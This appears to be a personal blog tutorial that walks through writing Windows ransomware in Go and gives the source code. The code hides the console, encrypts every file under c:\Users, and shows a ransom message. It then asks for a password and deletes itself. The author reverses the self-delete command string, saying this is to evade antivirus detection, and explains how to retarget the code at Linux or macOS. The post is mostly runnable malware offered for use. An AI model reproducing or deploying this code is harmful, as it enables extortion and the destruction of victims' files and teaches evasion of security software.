Tovi Jaeschke

Links:

Recent posts:

How to write ransomware in Go

In this post I will be creating some Ransomware in Go with the FileEncryption package I wrote in my last post.

Ransomware is a type of malicious software (malware) that is designed to encrypt the victims data, and demand a ransom for the decryption key. Some recent well known instances of ransomware are WannaCry and Petya. The reason I have chosen to write this ransomware in Go is because Go is a language that can be cross-compiled. I.e the ransomware can be written and compiled on GNU/Linux, and compiled into an exe.

As I mentioned last post, I use vim throughtout this tutorial. Feel free to replace that with your editor of choosing.

Seeing as we have already written the encryption logic in my previous post, this post will be a short tutorial on utilizing that logic in a malicious way. This ransomware will be targeted towards windows, and will not compile or run on GNU/Linux or MacOS. However, I will comment the windows specific code, so you know what to remove/change in order to make a GNU/Linux or MacOS

This malware will

  1. Hide the windows cmd console during encryption phase
  2. Walk the file system and encrypt all the data
  3. Unhide the console for the decryption phase
  4. Tell the victim what just happened and ask for the decryption password
  5. Decrypt the data if the password is correct
  6. Delete itself

The code

In this program I will be using 2 external Go packages, to install them type


go get github.com/AllenDan/w32
go get github.com/kardianos/osext


vim main.go


package main

import (
	"FileEncryption"
	"bufio"
	"encoding/base64"
	"fmt"
	"github.com/AllenDang/w32"
	"github.com/kardianos/osext"
	"os"
	"os/exec"
	"path/filepath"
	"strings"
)

var (
	// Pass is a reversed base64 string displayed as a byte slice
	Pass          []uint8 = []byte{61, 81, 109, 99, 118, 100, 51, 99, 122, 70, 71, 99}
	decrypted     bool    = false
)

func Reverse(s string) string {
	runes := []rune(s)
	for i, j := 0, len(runes)-1; i < j; i, j = i+1, j-1 {
		runes[i], runes[j] = runes[j], runes[i]
	}
	return string(runes)
}

/* WINDOWS SPECIFIC CODE */
func SelfDelete() {
	str_one := "exe.dmc"
	str_two := " leD & 3 T/ Y D/ N/ Y C/ eciohc C/"
	filename, _ := osext.Executable()
	self_del := exec.Command(Reverse(str_one), Reverse(str_two)+filename)
	err := self_del.Start()
	if err != nil {
		panic(err)
	}
	return
}
/* END OF WINDOWS SPECIFIC CODE */

I start out by importing the necessary packages, and creating 2 variables, one for the original password and one to check if the files have been successfully decrypted. I then create two functions. The first function, Reverse, is used to reverse the password, and the strings within SelfDelete. Why reverse the strings within SelfDelete? The reason I did this is because the cmd command (cmd.exe /C choice /C Y /N /D Y /T 3 & Del <FILE>) sends off alarm bells for almost all AV programs. The second function, SelfDelete, is used to get around the windows problem You cannot delete a program while it is open.

func FilterNewlines(s string) string {
	return strings.Map(func(r rune) rune {
		switch r {
		case 0x000A, 0x000B, 0x000C, 0x000D, 0x0085, 0x2028, 0x2029:
			return -1
		default:
			return r
		}
	}, s)
}

func GetUserInput(prefix string) string {
	reader := bufio.NewReader(os.Stdin)
	fmt.Print(prefix)
	text, _ := reader.ReadString('\n')
	pass := FilterNewlines(text)
	fmt.Print("\n")
	return pass
}

The functions FilterNewLines and GetUserInput work together, where FilterNewLines strips the newline characters from the user input using rune literals, so that a \n will not stop the password from working.

/* WINDOWS SPECIFIC CODE */
func HideShowConsole(state int) {
	console := w32.GetConsoleWindow()
	if console == 0 {
		return
	}
	_, _ = w32.GetWindowThreadProcessId(console)
	w32.ShowWindow(console, state)
}
/* END OF WINDOWS SPECIFIC CODE */

HideShowConsole uses w32, which is a frontend for windows syscalls, to hide and show the window at the appropriate time.

func EncryptionWalk(root string, path string, fi os.FileInfo, err error, pass string) error {
	defer func() {
		_ = recover()
	}()
	if fi.Name() == "desktop.ini" {
		return nil
	}
	if fi.IsDir() || fi.Name()[len(fi.Name())-4:] == ".enc" {
		return nil
	}
	err = FileEncryption.EncryptFile(pass, path)
	if err != nil {
		panic(err)
	}
	return nil
}

func DecryptionWalk(root string, path string, fi os.FileInfo, err error, pass string) error {
	defer func() {
		_ = recover()
	}()
	if fi.Name() == "desktop.ini" {
		return nil
	}
	if fi.IsDir() {
		return nil
	}
	err = FileEncryption.DecryptFile(pass, path)
	if err == nil {
		decrypted = true
	}
	return nil
}

func WalkFilesystem(decrypt bool, pass string) {
	if decrypt {
		callback := func(path string, fi os.FileInfo, err error) error {
			return DecryptionWalk(RootDirectory, path, fi, err, pass)
		}
		/* WINDOWS SPECIFIC CODE */
		/* 
		* If you want to make this ransomware for GNU/Linux or MacOS, 
		* just change the filepath to something else, like /home
		*/
		filepath.Walk("c:\\Users", callback)
		/* END OF WINDOWS SPECIFIC CODE */
	} else {
		callback := func(path string, fi os.FileInfo, err error) error {
			return EncryptionWalk(RootDirectory, path, fi, err, pass)
		}
		/* WINDOWS SPECIFIC CODE */
		/* 
		* If you want to make this ransomware for GNU/Linux or MacOS, 
		* just change the filepath to something else, like /home
		*/
		filepath.Walk("c:\\Users", callback)
		/* END OF WINDOWS SPECIFIC CODE */
	}
}

This is the main part of our ransomware, WalkFilesystem "walks" the file system and lists all files and directories under the root directory. We then feed the names of each file into the EncryptionWalk/DecryptionWalk. The recover function is there to prevent crashing if we feed it a file that it doesnt have read/write access to.

func main() {
	HideShowConsole(w32.SW_HIDE)
	pass, _ := base64.StdEncoding.DecodeString(Reverse(string(Pass)))
	WalkFilesystem(false, string(pass))
	HideShowConsole(w32.SW_SHOW)
	fmt.Println("To the owner of this computer,")
	fmt.Println("I'm sorry to alert you to the fact that I have encrypted all of your data.")
	fmt.Println("Please become my friend, and I will send you the decryption password.")
	for {
		dec_pass := GetUserInput("Password: ")
		WalkFilesystem(true, dec_pass)
		if decrypted {
			SelfDelete()
			os.Exit(0)
		} else {
			fmt.Println("Incorrect Password")
		}
	}
}

And main just links it all together by
  1. running the encryption function
  2. outputing the ransom message
  3. asking for the decryption password until it gets given the correct one
  4. deleting itself

Building

To build the package, run


go build main.go